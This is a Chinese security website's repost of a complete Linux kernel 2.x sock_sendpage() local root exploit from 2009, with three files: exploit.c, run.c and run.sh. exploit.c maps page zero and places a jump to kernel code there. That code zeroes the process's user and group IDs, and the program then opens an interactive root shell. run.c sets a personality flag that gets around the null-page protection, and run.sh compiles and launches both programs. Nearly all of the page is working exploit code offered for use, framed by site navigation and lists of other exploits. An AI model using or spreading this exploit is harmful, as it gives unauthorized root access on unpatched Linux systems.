首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel 2.x sock_sendpage() Local Root Exploit #2
来源:www.vfcocus.net 作者:Frasunek 发布时间:2009-08-17  

------------------------------------exploit.c-------------------------

/*
 * 14.08.2009, babcia padlina
 *
 * vulnerability discovered by google security team
 *
 * some parts of exploit code borrowed from vmsplice exploit by qaaz
 * per_svr4 mmap zero technique developed by Julien Tinnes and Tavis Ormandy:
 *     http://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/
 */

#include <stdio.h>
#include <sys/socket.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/personality.h>

static unsigned int uid, gid;

#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)

void exit_code();
char exit_stack[1024 * 1024];

static inline __attribute__((always_inline)) void *get_current()
{
 unsigned long curr;
 __asm__ __volatile__ (
  "movl %%esp, %%eax ;"
  "andl %1, %%eax ;"
  "movl (%%eax), %0"
  : "=r" (curr)
  : "i" (~8191)
 );
 return (void *) curr;
}

static inline __attribute__((always_inline)) void exit_kernel()
{
 __asm__ __volatile__ (
  "movl %0, 0x10(%%esp) ;"
  "movl %1, 0x0c(%%esp) ;"
  "movl %2, 0x08(%%esp) ;"
  "movl %3, 0x04(%%esp) ;"
  "movl %4, 0x00(%%esp) ;"
  "iret"
  : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
      "i" (USER_CS), "r" (exit_code)
     );
}

void kernel_code()
{
 int i;
 uint *p = get_current();

 for (i = 0; i < 1024-13; i++) {
  if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
    p[0] = p[1] = p[2] = p[3] = 0;
   p[4] = p[5] = p[6] = p[7] = 0;
   p = (uint *) ((char *)(p + 8) + sizeof(void *));
   p[0] = p[1] = p[2] = ~0;
   break;
  }
  p++;
 }

 exit_kernel();
}

void exit_code()
{
 if (getuid() != 0) {
  fprintf(stderr, "failed\n");
  exit(-1);
 }

 execl("/bin/sh", "sh", "-i", NULL);
}

int main(void) {
 char template[] = "/tmp/padlina.XXXXXX";
 int fdin, fdout;
 void *page;

 uid = getuid();
 gid = getgid();
 setresuid(uid, uid, uid);
 setresgid(gid, gid, gid);

 if ((personality(0xffffffff)) != PER_SVR4) {
  if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
   perror("mmap");
   return -1;
  }
 } else {
  if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
   perror("mprotect");
   return -1;
  }
 }

 *(char *)0 = '\x90';
 *(char *)1 = '\xe9';
 *(unsigned long *)2 = (unsigned long)&kernel_code - 6;

 if ((fdin = mkstemp(template)) < 0) {
  perror("mkstemp");
  return -1;
 }

 if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
  perror("socket");
  return -1;
 }

 unlink(template);
 ftruncate(fdin, PAGE_SIZE);
 sendfile(fdout, fdin, NULL, PAGE_SIZE);
}

 

-----------------------------------------run.c-------------------------------------------

#include <sys/personality.h>
#include <stdio.h>
#include <unistd.h>

int main(void) {
 if (personality(PER_SVR4) < 0) {
  perror("personality");
  return -1;
 }

 fprintf(stderr, "padlina z lublina!\n");

 execl("./exploit", "exploit", 0);
}


-------------------------------------------run.sh--------------------------------------------------

#!/bin/sh

gcc -o run run.c && \
gcc -o exploit exploit.c && \
./run


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 2.x sock_sendpage
·VLC Media Player <= 1.0.1 smb:
·Safari 4 versions prior to 4.0
·Gazelle CMS version 1.0 suffer
·EmbedThis Appweb version 3.0B.
·Wordpress Plugin WP-Syntax <=
·Easy Music Player version 1.0.
·JBLOG 1.5.1 Remote SQL Table B
·TheGreenBow VPN client version
·EmbedThis Appweb v3.0B.2-4 Mul
·pIPL 2.5.0 (.PLS /.PL) Univers
·VLC Media Player 1.0.0/1.0.1 s
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved